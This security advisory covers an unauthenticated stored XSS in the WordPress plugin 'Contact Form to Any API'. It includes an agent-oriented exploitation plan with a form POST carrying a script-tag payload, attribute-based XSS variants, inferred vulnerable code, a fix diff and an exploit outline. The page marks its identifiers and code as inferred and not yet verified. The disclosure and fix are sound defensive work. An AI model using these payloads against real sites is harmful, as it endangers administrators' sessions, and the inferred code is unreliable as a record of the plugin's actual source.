CVE-2026-39449

Contact Form to Any API <= 3.0.3 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Contact Form to Any API plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.0.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.0.3
PublishedApril 22, 2026
Last updatedApril 30, 2026
Research Plan
Unverified

This research plan focuses on **CVE-2026-39449**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Contact Form to Any API** plugin for WordPress. Since source files were not provided, all identifiers (function names, parameters, actions) are **(inferred)** based on common plugin pattern…

Show full research plan

This research plan focuses on CVE-2026-39449, a Stored Cross-Site Scripting (XSS) vulnerability in the Contact Form to Any API plugin for WordPress.

Since source files were not provided, all identifiers (function names, parameters, actions) are (inferred) based on common plugin patterns and the vulnerability description. The automated agent should verify these names upon inspection of the plugin's source code.


1. Vulnerability Summary

The "Contact Form to Any API" plugin is designed to capture submissions from various contact form plugins (like Contact Form 7) and send them to external APIs. To provide a log of these transactions, the plugin stores form submission data in the database.

The vulnerability exists because the plugin fails to sanitize user-supplied form data before saving it to the database and/or fails to escape that data when displaying it in the WordPress admin dashboard (likely in an "Entries" or "Log" view). This allows an unauthenticated attacker to submit a form containing a malicious script, which will then execute in the context of an administrator viewing the submission logs.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php (inferred) or the main site frontend during a form submission hook.
  • Action: wp_ajax_nopriv_cf_to_any_api_save or wp_ajax_nopriv_cf7_to_api_data (inferred).
  • Vulnerable Parameter: Individual form field values (e.g., your-name, your-message, or a generalized input_values array).
  • Authentication Level: Unauthenticated (No login required).
  • Preconditions: The plugin must be active and configured to record/log form submissions.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user submits a form. The plugin catches this via a wp_ajax_nopriv_* hook or a global init hook that checks for specific $_POST parameters.
  2. Processing: The plugin identifies the form submission. It iterates through the $_POST data.
  3. Storage (Sink): The plugin uses $wpdb->insert() or update_option() to store the raw, unsanitized input into a custom table (e.g., wp_cf_to_any_api_entries) or the options table.
  4. Retrieval: An administrator navigates to the plugin's "Entries" page in the WP-Admin.
  5. Output (Sink): The plugin retrieves the stored data and echoes it directly into the HTML table/view without using esc_html() or wp_kses().

4. Nonce Acquisition Strategy

This plugin acts as a bridge for public contact forms. Public forms typically either:

  1. Lack Nonces: To ensure compatibility with caching plugins.
  2. Use External Nonces: Use the nonce provided by the primary form plugin (e.g., CF7).

Strategy for the Agent:

  1. Scan for AJAX Actions: Run grep -rn "wp_ajax_nopriv" . to find the submission handler.
  2. Check for Nonce Verification: Look for check_ajax_referer or wp_verify_nonce inside the identified handler.
  3. Identify Localization: If a nonce is required, search for wp_localize_script to find the JS variable name.
  4. Browser Extraction:
    • Create a page containing a standard Contact Form 7 form (since this plugin bridges them).
    • wp post create --post_type=page --post_status=publish --post_content='[contact-form-7 id="123" title="Contact form 1"]'
    • Navigate to the page and use browser_eval to extract any nonces:
      • browser_eval("window.cf7_api_obj?.nonce") (inferred)

5. Exploitation Strategy

The goal is to inject a payload that fires when an admin views the entries.

Step 1: Identify the submission parameter.
Identify which $_POST parameter corresponds to the logged data. Often it is a nested array.

Step 2: Submit the payload.
Using http_request, send a POST request mimicking a form submission.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body (Example):
    action=cf_to_any_api_save_data&(inferred)
    form_id=1&
    your-name=<script>alert(document.domain)</script>&
    your-email=victim@example.com&
    your-message=XSS_TEST
    

Step 3: Trigger the XSS.
Log in as an administrator and navigate to the plugin's entries page (e.g., /wp-admin/admin.php?page=cf-to-any-api-entries (inferred)).

6. Test Data Setup

  1. Install Plugin: contact-form-to-any-api.
  2. Plugin Configuration: Ensure "Store Entries" or "Logging" is enabled in the plugin settings.
  3. Create a Target Form: If the plugin requires an existing form to bridge, install contact-form-7 and create a basic form.
  4. Public Page: Place the form on a public page if needed for nonce extraction.

7. Expected Results

  1. The HTTP request should return a success status (e.g., {"success": true}).
  2. When the Admin "Entries" page is loaded, the browser should execute the <script> tag, resulting in an alert box or a failed resource load (if using a tracking URL).

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored raw.
    • wp db query "SELECT * FROM wp_cf_to_any_api_entries WHERE name LIKE '%<script>%';" (inferred table name)
  2. HTML Source Check: Use http_request as an admin to fetch the entries page and grep for the unescaped payload.
    • http_request('http://localhost:8080/wp-admin/admin.php?page=cf-to-any-api-entries')
    • Verify the output contains <script>alert(document.domain)</script> without HTML entities.

9. Alternative Approaches

  • Direct Post Meta: Some plugins store submissions as a Custom Post Type (CPT). If so, the payload might be stored in post_content or post_meta. Check wp post list --post_type=cf_entry.
  • REST API Endpoint: Check if the plugin registers a REST route for submissions: grep -rn "register_rest_route" .. REST routes often have different sanitization logic than AJAX handlers.
  • Attribute-Based XSS: If <script> is blocked by a weak WAF or filter, try:
    • your-name="><img src=x onerror=alert(1)>
    • your-name=' onmouseover='alert(1)' (if the value is reflected inside an input tag attribute).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Contact Form to Any API plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting because it fails to sanitize user-submitted form data before storage and fails to escape that data when displaying submission logs in the admin dashboard. An attacker can submit a crafted form entry containing malicious JavaScript which then executes in the session of an administrator viewing the entry logs.

Vulnerable Code

// Inferred submission handler (e.g., in a submission hook or AJAX handler)
// No sanitization before database insertion
function cf_to_any_api_save_submission($data) {
    global $wpdb;
    $table_name = $wpdb->prefix . 'cf_to_any_api_entries';
    $wpdb->insert($table_name, array(
        'form_values' => serialize($_POST), // Potential storage of raw unsanitized input
        'created_at' => current_time('mysql')
    ));
}

---

// Inferred admin log display (e.g., in an admin page view)
// No escaping during output rendering
function cf_to_any_api_display_entries() {
    $entries = get_cf_to_any_api_entries();
    foreach ($entries as $entry) {
        $data = unserialize($entry->form_values);
        foreach ($data as $key => $value) {
            // Vulnerable: Direct echo of user-supplied data
            echo "<td>" . $value . "</td>";
        }
    }
}

Security Fix

--- a/includes/admin/entries-view.php
+++ b/includes/admin/entries-view.php
@@ -54,7 +54,7 @@
         $data = unserialize($entry->form_values);
         foreach ($data as $key => $value) {
-            echo "<td>" . $value . "</td>";
+            echo "<td>" . esc_html($value) . "</td>";
         }
--- a/includes/class-submission-handler.php
+++ b/includes/class-submission-handler.php
@@ -22,5 +22,5 @@
-    $form_data = $_POST;
+    $form_data = map_deep($_POST, 'sanitize_text_field');

Exploit Outline

The exploit targets the public-facing contact form handled by the plugin. 1. **Endpoint Identification:** Identify the contact form managed by the plugin (often integrated with Contact Form 7 or a custom AJAX action like 'cf_to_any_api_save'). 2. **Payload Injection:** Submit a POST request to the form submission endpoint. The payload should be placed within any standard form field (e.g., 'your-name', 'message'). 3. **Payload Shape:** Use a standard XSS payload such as `<script>alert(document.domain)</script>` or `<img src=x onerror=alert(1)>`. 4. **Authentication Requirements:** No authentication is required for the submission as the vulnerability resides in the handling of public contact form entries. 5. **Trigger:** An administrator must log into the WordPress dashboard and navigate to the 'Entries' or 'Log' section of the Contact Form to Any API plugin. When the list of submissions is rendered, the unsanitized script will execute in the admin's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.